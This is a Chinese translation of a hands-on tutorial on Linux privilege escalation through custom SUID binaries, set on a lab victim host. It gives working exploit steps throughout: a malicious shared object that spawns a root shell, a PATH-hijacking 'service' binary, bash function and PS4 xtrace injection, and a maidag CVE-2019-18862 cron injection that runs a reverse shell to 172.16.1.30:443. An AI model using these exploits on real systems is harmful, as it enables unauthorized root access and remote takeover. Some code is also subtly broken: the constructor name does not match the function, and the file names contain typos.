本文通过 Google 翻译 SUID | SGID Part-2 – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- 0 前言
- 1 上文回顾
- 2 枚举自定义 SUID 二进制文件
- 3 利用 SUID 二进制文件 – 共享对象注入
- 4 利用 SUID 二进制文件 – PATH 注入
- 5 利用 SUID 二进制文件 – 滥用 Shell 功能
- 6 利用 SUID 二进制文件 – 第三方程序中打包的二进制文件
0、前言
在这篇文章中,我们将继续讨论通过滥用 SUID 和 SGID 权限来提升权限的文章的第 2 部分。
如果您尚未查看第 1 部分,我强烈建议您在阅读本文之前先从第 1 部分开始。
在第 2 部分中,我们将回顾三种不同的自定义二进制文件,这些二进制文件都可以通过不同的方式被利用,利用方式包括:共享对象注入、PATH 注入、滥用 Shell 功能。
此外,我们还将审查第四种既非标准也非自定义的二进制文件,它完全属于另外一种类别。
在我们开始讨论漏洞利用示例之前,让我们快速回顾一下第 1 部分中介绍的内容。
1、上文回顾
在这篇文章的第 1 部分中,我们了解到:
- 这三种特殊权限是什么以及它们如何工作 – SUID、SGID 和 Sticky
- 如何手动搜索 SUID 和 SGID 二进制文件
- 关于 LinPEAS 和 SUID3NUM 等可以帮我们搜寻 SUID 二进制文件的工具
- GTFOBins 是什么以及如何使用它
- 如何利用六种不同的标准 SUID 二进制文件:env、find、tail、nano、cp、wget
在第一篇文章中枚举和利用 SUID 二进制文件之前,我们假设已在受害者身上获得了初步立足点。
除了使用 LinPEAS 和 SUID3NUM 在受害者主机上发现的 6 个标准二进制文件之外,我们还发现了 4 个看起来很有趣的自定义二进制文件。
现在我们已经利用了六个标准二进制文件,在本文的第 2 部分,我们将把重点转移到利用四个自定义二进制文件:suid-so、suid-path、suid-sf、maidag。
2、枚举自定义 SUID 二进制文件
在系统上发现一些自定义二进制文件后,我们需要进一步枚举它们。
由于这些二进制文件是自定义的,我们很可能无法在 GTFOBins 上找到“快速获胜”的方法,因此我们需要进一步了解自定义二进制文件,以确定它们是否可以被利用。
在枚举自定义 SUID 二进制文件时,可以遵循以下“检查表”:
- 与二进制文件交互 – 运行它,看看它做了什么
- 在 GTFOBins 上检查词条 – 可能工具显示它不在 GTFOBins 上,但无论如何都要检查一下
- 查找版本号 – 并在 Google 查找漏洞
- 从二进制文件中提取字符串 – 查找在程序运行时加载/执行的共享库或二进制文件
- 调试程序 – 深入了解程序的工作原理
最后需要提到的是,自定义二进制文件通常有两种类型。
类型 1 :用户为特定任务或目的制作的内部二进制文件。这些通常非常基本并且很容易发现。
类型 2 :通常与第三方程序一起打包/交付的自定义二进制文件。这些通常具有公开已知的漏洞并分配有 CVE。
在下面的每个示例中,我们都将运行该“检查表”来查找漏洞,然后加以利用。
好吧,现在我们都已经了解了,让我们开始讨论一些漏洞利用示例。
3、利用 SUID 二进制文件 – 共享对象注入
在利用自定义 SUID 二进制文件的第一个示例中,我们将查看在枚举期间找到的 suid-so 二进制文件。
由于我们不熟悉这个二进制文件,因此我们应该做的第一件事就是与它进行交互,看看它做了什么。
/usr/bin/suid-so
在这里我们可以看到,它计算了一些东西,达到 99%,然后完成并退出。
遗憾的是,这并不能让我们对这个二进制有多少了解。
尝试运行二进制文件后,我们应该检查的下一件事是该二进制文件是否在 GTFOBins 上。
幸运的是(或者说不幸的是),SUID3NUM 已经确定了 GTFOBins 上列出的二进制文件,而这并不是其中之一。
现在我们知道这个二进制文件在 GTFOBins 上没有“快速获胜”的方法,那么接下来我们应该做的就是检查二进制文件本身。
3.1、使用 Strings 和 Strace 提取信息
首先,我们可以使用 strings 命令来查看执行期间是否加载了任何二进制文件或共享库。
strings /usr/bin/suid-so
有趣的是,似乎在执行过程中从我们当前用户的主目录下加载了一个共享对象。
由于我们在主目录中有写权限,因此我们应该能够用恶意内容替换 libcalc.so。
在尝试利用这一点之前,让我们通过调试来仔细看看二进制文件在运行时在做什么。
对于我们的用例,我们最感兴趣的是查看程序运行时加载的内容,这就是为什么我们将使用 strace 进行调试。
Strace 监视特定程序的系统调用和信号,并提供从开始到结束的执行顺序。当您没有源代码并且想要调试程序的执行时,它会很有帮助。
strace /usr/local/bin/suid-so 2>&1 | less
基本上,在调试程序时我们要查找两件事:哪些共享库正在加载,以及它们是从哪里被加载。
其实,程序是否能找到共享对象并不重要,最重要的是,找到的共享对象它所在的目录我们是否有写入权限。
现在知道了我们真正要寻找的目的,那我们就可以改进这条命令,用 grep 命令查找从非默认位置执行的任何 .so 文件。
目录: /lib、/usr/lib、/usr/local/lib 是存储共享库的默认位置。
strace /usr/bin/suid-so 2>&1 | grep -v '/lib/\|/usr/\|/etc/' | grep -i '\.so'
与使用 strings 命令类似,我们找到了从当前用户主目录执行的 libcalc.so 文件。
这也证实了共享对象文件就是在执行过程中被加载的,这意味着它是可利用的。
3.2、制作恶意共享对象文件
至此,我们已经确认有一个共享库是从一个非标准目录加载的,而这个目录恰好是我们当前的用户主目录,而我们在主目录中是拥有写入权限的。
综上所述,剩下唯一要做的就是制作一个名为 licalc.so 的恶意共享对象文件,并将其放置在 /home/user/.config 目录中。
导航到 /home/user/.config ,我们可以看到该目录中没有libcal.so文件。
由于 libcalc.so 文件不存在,我们需要创建它。
为此,我们将创建一个恶意 C 程序,然后将其编译为共享目标文件。
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void _inject() {
system("/bin/bash -p");
}
由于 suid-so 二进制文件由 root 拥有并设置了 SUID 位,因此当它执行时,我们的恶意共享对象文件将由程序加载并以 root 身份执行。
接下来,我们需要将C程序编译成共享目标文件。
gcc -shared -fPIC libcalc.c -o /home/user/.config/libcalc.so
Perfect,我们的 libcalc.so 恶意副本已创建并可供使用。
现在我们要做的就是运行 suid-so 二进制文件。执行后,它将加载 lcalc 共享库。加载完成后,它将执行恶意版本的 libcalc.so,并将我们直接拖入 root shell。
/usr/bin/suid-so
在这里,可以看到程序开始正常运行,接着恶意共享对象被加载,然后我们就进入了一个 root shell 环境!
4、利用 SUID 二进制文件 – PATH 注入
继续讨论自定义 SUID 二进制文件的第二个示例,我们将查看在枚举过程中找到的 suid-path 二进制文件。
正如我们在上一个示例中看到的那样,当面对我们不熟悉的二进制文件时,我们要做的第一件事就是运行它以查看它的作用。
/usr/bin/suid-path
有趣的是,在这里我们可以看到二进制文件似乎正在检查 SSH 服务的状态。
现在我们已经了解了二进制文件正在做什么,下一步是检查 GTFObins 以“快速获胜”。
但是,我们已经知道这是一个自定义二进制文件,GTFObins 是不会列出它的。
接下来,我们要做的就是尝试从二进制文件中提取字符串。这可以帮助我们确定在执行过程中是否加载了任何有趣的二进制文件。
strings /usr/bin/suid-path
Amazing!在字符串中,我们可以看到二进制文件中使用了命令 service ssh status。
之前运行 suid-path 二进制文件时,我们注意到它会检查 SSH 服务的状态,现在我们知道了输出的来源指令。
关于命令 service ssh status 需要注意的一件事是:service 二进制文件没有使用绝对路径。
这就为 PATH 注入漏洞打开了大门。
4.1、设置漏洞并获取 Root Shell
现在我们已经发现了这个漏洞,接下来需要做一些事情来设置我们的漏洞。
4.1.1、编辑 PATH 环境变量
我们需要做的第一件事是编辑 PATH 变量以包含可写目录。
PATH 环境变量是 Linux 在执行命令时用于搜索二进制文件的有序路径列表。仅当执行命令而不指定二进制文件的绝对路径时,才使用 PATH。
目前,我们的 PATH 列出了默认目录,我们可以使用以下命令查看这些目录:
echo $PATH
当命令 service ssh status 由 suid-path 二进制文件执行时,它是在不使用绝对路径的情况下完成的。这意味着系统将从左到右检查 PATH 环境变量中列出的每个目录中是否有 service 二进制文件,然后从找到的第一个目录执行它。
现在我们知道 PATH 环境变量是如何工作的,我们应该开始考虑如何使用这些知识来利用命令 service ssh status。
上述 PATH 中的所有默认目录对于标准用户来说都是不可写的,这意味着我们需要添加一个新的目录。
任何用户都可以编辑自己的 PATH。并且,添加到用户 PATH 的任何新目录都会放置在最左侧。
例如,我们可以将一个可写目录添加到我们的 PATH 中,如下所示:
export PATH=/tmp:$PATH
现在,当我们再次检查 PATH 变量时,我们可以看到 /tmp 位于最左侧。
这意味着在没有二进制文件绝对路径的情况下执行的任何命令都将首先检查 /tmp。
现在我们需要做的就是制作一个名为 service 的恶意二进制文件并将其放置在 /tmp 目录中。
4.1.2、直接针对受害者制造漏洞
从上一个示例中我们知道 gcc 已安装在受害者上,因此我们可以直接在受害者上制作漏洞利用程序,然后对其进行编译。
首先,我们需要导航到 /tmp 文件夹,然后运行以下命令来制作恶意 C 程序:
echo '#include <stdio.h>' > service.c
echo '#include <stdlib.h>' >> service.c
echo '' >> service.c
echo 'int main(){' >> service.c
echo ' system("cp /bin/bash /tmp && chmod +s /tmp/bash");' >> service.c
echo ' return 0;' >> service.c
echo '}' >> service.c
我们的恶意 C 程序看起来不错,现在需要做的就是编译它,然后再次运行 suid-path 程序。
gcc /tmp/service.c -o /tmp/service
Perfect!我们的漏洞已经准备好了。现在,当我们执行 suid-path 时,程序将沿着 PATH 查找 service 命令。
因为我们将 /tmp 添加到我们的 PATH 中,所以程序将首先在 /tmp 目录中搜索并执行我们的恶意版本的 service。
执行后,我们的恶意 service 二进制文件会将 /bin/bash 复制到 /tmp 中,然后向其添加 SUID 位。
4.1.3、利用 suid-path 获取 Root Shell
现在到了关键时刻。
/usr/bin/suid-path
Boom!我们劫持了执行路径,并让 suid-path 程序执行我们的漏洞利用程序,而不是真正的 service 二进制文件。
现在,在 /tmp 目录中出现了添加 SUID 位的 bash 副本,我们可以轻松地进入 root shell 了。
/tmp/bash -p
5、利用 SUID 二进制文件 – 滥用 Shell 功能
这个例子与前两个例子有些不同,因为这个例子在一定程度上需要利用链。
让我们看一下第三个自定义二进制文件:suid-sf
首先,我们将运行程序看看它能做些什么,这将帮助我们建立对自定义二进制文件的第一印象。
/usr/bin/suid-sf
运行 suid-sf 会执行一些操作,但它不会产生任何输出。
我们可以检查的另一件事是帮助菜单。
/usr/bin/suid-sf --help
结果没有输出任何信息。
接下来,我们将跳过 GTFOBins 检查,因为这是一个不会被列出的自定义二进制文件。
接下来,我们将从二进制文件中提取字符串,以帮助我们确定在执行期间是否正在加载任何其他有趣的二进制文件。
strings /usr/bin/suid-sf
Amazing!我们能够发现正在执行的一个有趣的命令,就像上次一样,它正在使用 service 二进制文件。
与用于检查 SSH 服务状态的 suid-path 二进制文件不同,此二进制文件启动该服务。但此示例与上一个示例之间还有一个主要区别就是:此示例使用了二进制文件的绝对路径。
因为使用的是绝对路径,所以我们将无法像上次那样进行 PATH 注入攻击。
此外,使用绝对路径利用二进制文件的唯一途径是,我们在二进制文件所在目录中拥有写入权限。这样,我们就可以用恶意软件替换二进制文件,类似于我们在 suid-so 示例中的做法。
检查我们是否在 /usr/bin 目录中具有写入权限,结果表明我们没有,这也是预料之中的事。
ls -l /usr | grep "bin"
默认情况下,标准用户无法写入 /usr/bin目录。
5.1、函数 – Bash 的秘密力量
由于自定义 suid-sf 二进制文件使用的是 service 二进制文件的绝对路径,而除非我们在二进制文件所在目录中拥有写入权限,否则无法利用这一点。
虽然这是事实,但这是片面的思维。
有时,事情并不总是表面上看起来的那么脆弱,但作为一名熟练的攻击者,我们需要知道如何拓展我们的思维。本质上,如果我们的直觉告诉我们某事看起来很脆弱,那么我们应该相信这种直觉。
话虽如此,我们仍需要进一步枚举,以尝试更好地理解执行该二进制文件时发生的所有情况。
在这种情况下,我们可以检查受害者上运行的 bash 版本。
/bin/bash --version
Great!我们可以看到这是 bash 的早期版本 – 4.1.5。
某些版本的 Bash (<4.2-048) 允许您定义与绝对路径同名的函数。然后,它们的优先级高于实际的可执行文件本身。
由于受害者运行的 bash 版本早于 4.2-048,因此 bash 的版本足够旧,允许我们自定义函数。
由于 bash 是我们的默认解释器,因此我们可以创建一个函数,然后将其导出到环境变量中。这将强制 /usr/sbin/service 执行我们选择的任意命令。
因为 SUID 位是在 suid-sf 二进制文件上发送的,所以它将以 root 身份执行 /usr/bin/service 并运行我们在函数中定义的命令。
现在让我们看看如何将 bash 漏洞与自定义 SUID 二进制文件链接在一起,以将我们的权限提升为 root。
5.2、使用 Bash 函数获取 Root Shell – 利用一
此时,我们需要做的就是创建一个函数,用恶意内容覆盖 service 二进制文件的执行。
为了了解其工作原理,让我们做一个创建 whoami.txt 文件的 POC。
首先我们需要创建测试函数:
function /usr/sbin/service() { whoami > whoami.txt; }
创建 POC 函数后,我们需要将其导出到环境变量中。
export -f /usr/sbin/service
Perfect!可以看到我们的环境变量已经更新,并包含新创建的函数。
现在,我们所要做的就是运行 service 二进制文件,然后检查 /tmp 文件夹,查看是否创建了一个名为 whoami.txt 的新文件。
/usr/sbin/service
POC 成功,这证实了 service 二进制文件正在使用我们创建的函数。
在确认该功能正常运行后,我们现在知道我们可以利用它来进行恶意攻击。
我们可以创建一个函数,将我们直接带入 root shell,如下所示:
function /usr/sbin/service() { /bin/bash-p; }
现在我们已经创建了恶意函数,我们需要再次将其导出到环境变量中。
export -f /usr/sbin/service
可以看到环境变量已更新为进入一个 shell,而不是写入 whoami.txt 文件。
接下来要做的就是执行 suid-sf 二进制文件。
一旦执行,/usr/bin/service 将被加载,我们的恶意函数将代替真正的 service 二进制文件而被执行。由于 suid-sf 二进制文件添加了 SUID 位,因此会以 root 身份执行,并将我们拖入 root shell。
/usr/bin/suid-sf
5.3、更新 Bash 漏洞 – 利用二
在对 bash 进行修改以删除与函数相关的漏洞后,又发现了一种可在 <4.4 版本的 bash 上运行的解决方法。
在 4.4 之前的 bash 版本上,我们可以打开 debuging 并设置 PS4 变量,这本质上是利用调试模式生成调试语句(或者换句话说,运行命令)的额外提示的能力。
假设之前我们枚举 bash 时,发现它的版本是 4.3.48。
由于这个版本<4.4,我们可以使用以下命令将我们的调试语句(命令)注入到 suid-sf 二进制文件的执行中,然后运行它。
这应该会立即生成 root shell。
env -i SHELLOPTS=xtrace PS4='$(/bin/bash -p)' /usr/bin/suid-sf
Cool!尽管自定义 SUID 二进制文件使用 service 二进制文件的绝对路径,但我们仍然能够利用两个不同版本的 bash 中存在的漏洞来获取 root shell。
不幸的是,漏洞利用示例中的两个 bash 版本都非常古老(已超过 10 年)。因此,这个漏洞并不常见。
6、利用 SUID 二进制文件 – 第三方程序中打包的二进制文件
对于利用自定义 SUID 二进制文件的最后一个示例,我们将研究在第三方程序中打包的 SUID 二进制文件的不同情况。
让我们看一下在枚举过程中发现的 maidag 二进制文件。
正如我们在前面所有示例中所做的那样,当面对我们不熟悉的二进制文件时,我们运行它来看看它会做什么。
/usr/local/sbin/maidag
就像上一个例子一样,当执行这个二进制文件时没有输出。
接下来,我们应该检查是否有帮助菜单,因为这通常会发现有关二进制文件的一些有用信息(如果存在的话)。
/usr/local/sbin/maidag --help
在这里我们可以看到二进制文件确实有一个帮助菜单,这意味着它不是一个简单的“内部”自定义二进制文件。这告诉我们 maidag 是 “GNU maidag – 邮件传递代理”。
这很有趣,可能会在 GTFOBins 上列出,所以我们应该检查一下。
不幸的是,我们没有在 GTFOBins 上找到 maidag 二进制文件。
6.1、确定 Maidag 的版本以查找漏洞
由于这是与第三方程序打包在一起的二进制文件,因此我们这次不想首先就以检查字符串或调试的方式进行。对于像这样复杂的二进制文件,检查字符串或调试将是最后的手段。
接下来,我们将尝试获取二进制文件的版本,以便我们可以在 Google 上查看是否有任何可用的公开漏洞能够利用。
/usr/local/sbin/maidag --version
Cool!我们能够提取到 maidag 的版本是 3.7。
一旦找到版本,我们就可以通过该信息在 Google 查找。
好吧,这次搜索带来了一些好东西。我们可以看到,maidag 2.0 – 3.7 版本存在文件写入漏洞。
此外,我们可以看到 Exploit-DB 上有一个针对此漏洞的利用,并且为此漏洞分配了一个 CVE:CVE-2019-18862
当 Exploit-DB 上有可用的漏洞时,代表它已经在 Kali 上,也就是可以使用 searchsploit 获取到副本。
Searchsploit 是 Exploit-DB 的命令行搜索工具,它还允许您在本地保存的存储库中执行详细的离线搜索。
让我们在攻击者的机器上获取一份副本并仔细观察。
searchsploit mailutils
原来这不是一个脚本,它实际上是一个 TXT 文件。这意味着它将向我们展示手动执行漏洞利用的步骤,而不是为我们直接利用它。
无论如何,我们应该将其复制到我们的工作目录中以查看该漏洞是如何工作的。
searchsploit -m 47703
读取TXT文件,显示如下:
看起来很简单,而且我们不需要脚本来自动完成这项工作。
在上面的 Google 搜索中,GitHub 上有一个漏洞利用程序,它以两种不同的方式为您自动执行此漏洞利用程序。
6.2、添加恶意 Cron 作业并获取 Root Shell
首先,我们将在受害者上制作一个有效负载,该有效负载将在我们创建的 cron 作业中执行。
但首先,我们需要快速确认 cron 守护进程正在运行。
service cron status
Great!它正在运行,所以我们知道这个漏洞应该有效。
在本例中,我们将在 /dev/shm 目录中制作一个有效载荷,以向攻击者机器发回反向 shell。
cd /dev/shm
echo '#!/bin/bash' > rootme.sh
echo '' >> rootme.sh
echo 'bash -i >& /dev/tcp/172.16.1.30/443 0>&1' >> rootme.sh
好了,脚本已经制作好了,现在只需要设置执行权限即可。
chmod 755 /dev/shm/rootme.sh
接下来,我们需要创建 crontab.in 文件,将我们的恶意 cron 作业写入 crontab。
请注意,描述说要使此功能正常工作,请将 crontab.in 文件的第一行留空。
echo '' > crontab.in
echo '* * * * * root /dev/shm/rootme.sh' >> crontab.in
最后,我们准备运行 maidag 二进制文件并将恶意条目注入到 crontab 中。
/usr/local/sbin/maidag --url /etc/crontab < /dev/shm/crontab.in
运行 maidag 二进制文件后,我们可以看到它有效并且 crontab 已更新!
这将每分钟运行一次 cron 作业并执行我们以 root 身份创建的恶意 rootme.sh 脚本。
剩下要做的就是在我们的攻击者机器上启动一个 netcat 监听器,然后等待 root shell 进入。
不到一分钟,root shell 就登录了!